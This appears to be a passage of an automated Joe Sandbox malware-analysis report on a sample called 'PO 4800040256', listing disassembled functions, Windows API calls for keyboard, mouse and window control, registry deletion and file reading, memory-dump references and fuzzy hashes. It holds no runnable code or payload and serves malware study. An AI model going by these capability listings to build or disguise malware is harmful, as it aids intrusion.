                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressLibraryLoadProc
                                                                                                                                                                      • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                                                                                                                                                                      • API String ID: 2574300362-3261711971
                                                                                                                                                                      • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                      • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                                                                                                                                                                      • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                      • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                                                                                                                                                                      Function 0047B1D0 Relevance: 9.5, APIs: 6, Instructions: 489COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                      • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                                                                                                                                                                      • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                      • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                                                                                                                                                                      Function 004336C7 Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetClientRect.USER32(?,?), ref: 00433724
                                                                                                                                                                      • GetWindowRect.USER32(00000000,?), ref: 00433757
                                                                                                                                                                      • GetClientRect.USER32(0000001D,?), ref: 004337AC
                                                                                                                                                                      • GetSystemMetrics.USER32(0000000F), ref: 00433800
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 00433814
                                                                                                                                                                      • ScreenToClient.USER32(?,?), ref: 00433842
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3220332590-0
                                                                                                                                                                      • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                      • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                                                                                                                                                                      • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                      • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                                                                                                                                                                      Function 00457838 Relevance: 9.2, APIs: 6, Instructions: 176COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _malloc_wcslen$_strcat_wcscpy
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1612042205-0
                                                                                                                                                                      • Opcode ID: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                                                                                                                      • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                                                                                                                                                                      • Opcode Fuzzy Hash: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                                                                                                                      • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                                                                                                                                                                      Function 0044C522 Relevance: 9.2, APIs: 6, Instructions: 155windowkeyboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                                                                                                                                                                      • SetKeyboardState.USER32(00000080), ref: 0044C59B
                                                                                                                                                                      • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                                                                                                                                                                      • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                                                                                                                                                                      • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                                                                                                                                                                      • SendInput.USER32 ref: 0044C6E2
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessagePost$KeyboardState$InputSend
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2221674350-0
                                                                                                                                                                      • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                      • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                                                                                                                                                                      • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                      • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                                                                                                                                                                      Function 00445153 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcscpy$_wcscat
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2037614760-0
                                                                                                                                                                      • Opcode ID: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                                                                                                                      • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
                                                                                                                                                                      • Opcode Fuzzy Hash: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                                                                                                                      • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                                                                                                                                                                      Function 00447B66 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                                      • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                                      • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                                      • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                                      • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4189319755-0
                                                                                                                                                                      • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                      • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                                                                                                                                                                      • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                      • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                                                                                                                                                                      Function 0044B474 Relevance: 9.1, APIs: 6, Instructions: 113fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                      • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
                                                                                                                                                                      • EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
                                                                                                                                                                      • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                        • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                      • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1726766782-0
                                                                                                                                                                      • Opcode ID: e3e231889b9edf0f74221ee0072ea4e59d90ce0ad37bc94b8ebeee311f112aa0
                                                                                                                                                                      • Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
                                                                                                                                                                      • Opcode Fuzzy Hash: e3e231889b9edf0f74221ee0072ea4e59d90ce0ad37bc94b8ebeee311f112aa0
                                                                                                                                                                      • Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A
                                                                                                                                                                      Function 00441077 Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                                                                                                                                                                      • EnableWindow.USER32(?,00000000), ref: 0044111A
                                                                                                                                                                      • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                                                                                                                                                                      • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                                                                                                                                                                      • EnableWindow.USER32(?,00000001), ref: 004411B3
                                                                                                                                                                      • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$Show$Enable$MessageSend
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 642888154-0
                                                                                                                                                                      • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                      • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                                                                                                                                                                      • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                      • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                                                                                                                                                                      Function 00449063 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                                                                                                                                                                      • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
                                                                                                                                                                      • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                                                                                                                                                                      • GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
                                                                                                                                                                      • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$LongWindow$InvalidateRect
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1976402638-0
                                                                                                                                                                      • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                      • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                                                                                                                                                                      • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                      • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                                                                                                                                                                      Function 00442582 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetForegroundWindow.USER32 ref: 00442597
                                                                                                                                                                        • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                                                                                                                                                                      • GetDesktopWindow.USER32 ref: 004425BF
                                                                                                                                                                      • GetWindowRect.USER32(00000000), ref: 004425C6
                                                                                                                                                                      • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                                                                                                                                                        • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                      • GetCursorPos.USER32(?), ref: 00442624
                                                                                                                                                                      • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4137160315-0
                                                                                                                                                                      • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                      • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                                                                                                                                                                      • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                      • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                                                                                                                                                                      Function 00448851 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044886C
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                      • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                      • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$Enable$Show$MessageSend
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1871949834-0
                                                                                                                                                                      • Opcode ID: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                                      • Instruction ID: fbfed122d4da650e42f877d7e8bff2bfe9b33138fa51555fe8345b8bcc16d821
                                                                                                                                                                      • Opcode Fuzzy Hash: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                                      • Instruction Fuzzy Hash: A731F3B07443819BF7248E14C8C4BAFB7D0AB95345F08482EF981A63D1DBAC9846872A
                                                                                                                                                                      Function 00449606 Relevance: 9.1, APIs: 6, Instructions: 91windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 0044961A
                                                                                                                                                                      • SendMessageW.USER32 ref: 0044964A
                                                                                                                                                                        • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                                      • SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
                                                                                                                                                                      • _wcslen.LIBCMT ref: 004496BA
                                                                                                                                                                      • _wcslen.LIBCMT ref: 004496C7
                                                                                                                                                                      • SendMessageW.USER32(?,00001074,?,?), ref: 004496FD
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$_wcslen$_memset_wcspbrk
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1624073603-0
                                                                                                                                                                      • Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                                      • Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
                                                                                                                                                                      • Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                                      • Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6
                                                                                                                                                                      Function 004416D1 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
